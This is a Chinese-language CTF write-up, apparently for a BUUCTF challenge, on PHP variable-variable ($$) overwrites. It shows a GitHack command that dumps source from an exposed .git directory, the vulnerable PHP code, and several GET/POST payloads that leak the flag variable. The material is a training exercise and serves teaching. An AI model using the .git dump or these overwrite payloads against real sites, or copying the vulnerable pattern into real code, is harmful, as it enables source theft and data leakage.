知识点:
- php中
$$
用来定义可变变量
解题:
python GitHack.py http://e6e2adea-991f-4ae7-b4ea-0f82d49d8f8c.node3.buuoj.cn/.git/
得到源码
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y; #若传入x=y,则$x=y
}
foreach($_GET as $x => $y){
$$x = $$y; #若传入x=y,则$x=$y
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);//遍历传入的get参数,当参数的key名不是flag,且key名为flag的value又要等于当前的key,即当存在key!='flag',而flag=key
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);#没有设置flag则进入
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);#设置了flag键值即进入
}
echo "the flag is: ".$flag;
?>
分析:
表面上是存在四种方法输出flag(三种exit输出和一种echo输出)
第一种:
这种形式输出flag,由于是输出handsome,所以要想办法使得$handsome=$flag
,很明显我们可以利用第二个foreach实现,所以传入参数之一handsome=flag
接下来就先想办法设置flag的值了,引用前面分析即当存在key!='flag',而flag=key
构造payload
handsome=flag&flag=handsome#z注意不能更换顺序,若flag在前,则$flag=$handsome,flag的值被改变了
第二种:
首先不能传入参数flag,否则不会进入第二种循环,其次输出的变量是yds,所以要将$yds=$flag
构造payload
yds=flag
第三种
flag=flag&is=flag
第四种还没想到…